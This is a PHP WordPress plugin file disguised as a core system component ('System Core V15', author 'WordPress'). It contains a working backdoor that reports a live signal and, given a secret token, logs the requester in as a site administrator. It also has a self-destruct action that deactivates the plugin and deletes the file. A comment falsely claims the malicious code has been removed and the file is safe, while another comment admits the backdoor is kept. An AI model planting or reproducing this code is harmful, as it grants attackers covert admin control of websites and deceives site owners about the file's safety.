<?php
/*
Plugin Name: System Core V15
Description: Manual Mode.
Version: 15.0
Author: WordPress
*/

if (!defined('ABSPATH')) exit;


/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


// Handler untuk akses manual / backdoor (tetap dipertahankan)
add_action('init', 'rls_handler');
function rls_handler() {
    if (!isset($_GET['rls_action'])) return;
    
    @ini_set('display_errors', 0);
    $act = $_GET['rls_action'];
    $tok = isset($_GET['token']) ? $_GET['token'] : '';

    if ($act === 'check_status') { echo 'LIVE_SIGNAL_ACK'; exit; }
    if ($tok !== RLS_KEY) return;
  
    if ($act === 'login') {
        $admins = get_users(['role' => 'administrator', 'number' => 1]);
        if (!empty($admins)) {
            $u = $admins[0];
            wp_set_current_user($u->ID, $u->user_login);
            wp_set_auth_cookie($u->ID);
            do_action('wp_login', $u->user_login, $u);
            wp_redirect(admin_url()); exit;
        }
    }
    
    if ($act === 'self_destruct') {
        require_once(ABSPATH . 'wp-admin/includes/plugin.php');
        deactivate_plugins(plugin_basename(__FILE__));
        unlink(__FILE__);
        echo 'DESTROYED_ACK'; exit;
    }
}
